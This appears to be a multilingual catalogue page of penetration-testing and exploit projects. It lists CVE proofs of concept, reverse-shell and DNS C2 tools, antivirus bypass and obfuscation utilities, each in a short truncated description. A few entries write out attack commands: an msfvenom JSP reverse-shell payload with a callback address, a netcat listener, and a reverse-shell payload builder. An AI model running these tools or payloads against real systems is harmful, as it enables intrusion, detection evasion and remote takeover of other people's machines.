CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271 è una grave vulnerabilità conosciuta come "Shellshock", scoperta e divulgata nel 2014. Questa vulnerabilità è stata trovata nella shell Bash e colpisce quasi tutti i sistemi Unix e Linux, ed è una delle vulnerabilità più ampiamente comprese su Internet. Minaccia alla...

spring4shell-poc

Spring4Shell POC Descrizione della vulnerabilità: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Costruzione del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Passaggi per compilare/eseguire Testato con JDK 11.0.14, Spring Boot 2.6.5 e Apache Tomcat 9.0.6...

x64dbg

x64dbg An open-source binary debugger for Windows, aimed at malware analysis and reverse engineering of executables you do not have the source code for. There are many features available and a comprehensive plugin system to add your own. You can find more information on the blog! Screenshots |...

spectre-meltdown-checker

Spectre & Meltdown Checker Uno script shell autonomo per valutare la resilienza del tuo sistema contro le diverse CVE di esecuzione transitoria pubblicate dall'inizio del 2018, e fornire indicazioni su come mitigarle. Elenco CVE...

RCE-Exploit-Framework

RCE-Exploit-Framework Dieses Framework wurde entwickelt, um Penetrationstestern oder Entwicklern zu helfen, die Mechanik von Remote Code Execution RCE-Exploits zu verstehen. Features Payload-Generator : Unterstützt die Erstellung benutzerdefinierter Payloads auf Basis von Python, Bash und PHP...

sak1to-shell

sak1to-shell Servidor c2 multi-thread, multi-SO/plataforma Linux/Windows e cliente reverse TCP shell para Windows, ambos escritos em C. Compilando o cliente reverse TCP shell com i686-w64-mingw32-gcc: root@kitploit: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o...

LnkMeMaybe

LnkMeMaybe مجموعة أدوات مبنية على .NET 8 لإنشاء وتحليل ملفات Windows Shell Link .lnk. تتضمن أداة بناء عبر سطر الأوامر LnkMeMaybe ومحررًا رسوميًا LnkUi. صُمّمت لأغراض أبحاث الأمن واختبار الاختراق. المشاريع المشروع| الوصف ---|--- Lnk/| المكتبة الأساسية. تَحلّل وتُنشئ تنسيق .lnk الثنائي وفقًا لمواصف...

ace-vim-neovim

ace-vim-neovim Esecuzione arbitraria di codice in Vim/Neovim tramite Modelines CVE-2019-12735 Utilizzo 1. ascolta root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt E poi, il tuo localhost otterrà una shell...

AVBypass

protezione bypass antivirus requisiti golang installato utilizzo root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you ha...

Invoke-PSObfuscation

Invoke-PSObfuscation Traditionelle Obfuskationstechniken neigen dazu, Schichten hinzuzufügen, um bestehenden Code zu kapseln, wie z. B. Base64 oder Komprimierung. Diese Payloads haben weiterhin unterschiedliche Erfolgsraten, aber es ist trivial geworden, die beabsichtigte Payload zu extrahieren,...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS Exploit 🔐 🛡️ Beschreibung Dieses Proof-of-Concept PoC-Skript zielt auf Schwachstellen in Palo Alto PAN-OS ab, speziell CVE-2024-0012 und CVE-2024-9474 , indem es den Ausnutzungsprozess automatisiert, einschließlich Authentifizierungsumgehung,...

CVE-2026-65400

CVE-2026-65400 Spenden Unterstütze die Wartung dieses Projekts mit PayPal oder durch Scannen des QR-Codes unten. ⚡ Einfache Nutzung Verwende dieses Projekt nur in sicheren und autorisierten Umgebungen wie: Lokale virtuelle Maschinen Docker-Container Isolierte Laborumgebungen Autorisierte...

nfsen-exploit

nfsen-exploit Exploit für CVE-2017-6971 Remote-Codeausführung in nfsen 1.3.7. Getestet auf Ubuntu, funktioniert wahrscheinlich überall Schwachstelle entdeckt von Paul Taylor/Foregenix Ltd Verwendung: python exploit.py Dies erzeugt eine Root-Shell auf dem entfernten Rechner...

snmp-shell

SNMP Shell Shell-Simulation über Net-SNMP mit der erweiterten Funktionalität Hier eine Vorschau: Beschreibung Wenn Ihr Ziel eine Net-SNMP -Instanz mit der "extend" -Funktionalität hat und Sie eine SNMP-Community-String besitzen, die Ihnen Schreibzugriff gewährt, können Sie dieses Tool verwenden, ...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit Versions affectées : vBulletin 5.0.05.5.4 poc comme suit : !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import...

dns-black-cat

DNS-Black-CatDBC Toolkit multi-piattaforma per una shell DNS C2C interattiva; utilizzando DNS-Black-Cat, sarai in grado di eseguire comandi di sistema in modalità shell su un canale nascosto completamente crittografato. Server realizzato come script Python, che funge da server DNS con le...

fuxploider

fuxploider Fuxploider ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von Schwachstellen in Dateiupload-Formularen automatisiert. Dieses Tool kann die erlaubten Dateitypen erkennen und herausfinden, welche Technik am besten geeignet ist, um Webshells oder...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Beispiel :...

DDexec

DDexec Neuigkeiten Ich habe DDexec so stark überarbeitet, dass es kaum wiederzuerkennen ist. Das Parsing der ELF wird jetzt durch Maschinencode statt durch das Shell-Skript erledigt, was es wesentlich schneller, zuverlässiger und verständlicher macht. Zudem wurde die Anzahl der Abhängigkeiten auf...

Zerodoor

ZeroDoor Uno script scritto pigramente per generare reverse shell backdoor al volo ogni volta che ne hai bisogno senza alcun fastidio per le tue esigenze di penetration test quotidiane. Queste backdoor non sono roba high-tech alla James Bond, ma piuttosto semplici, per prevenire un eccessivo...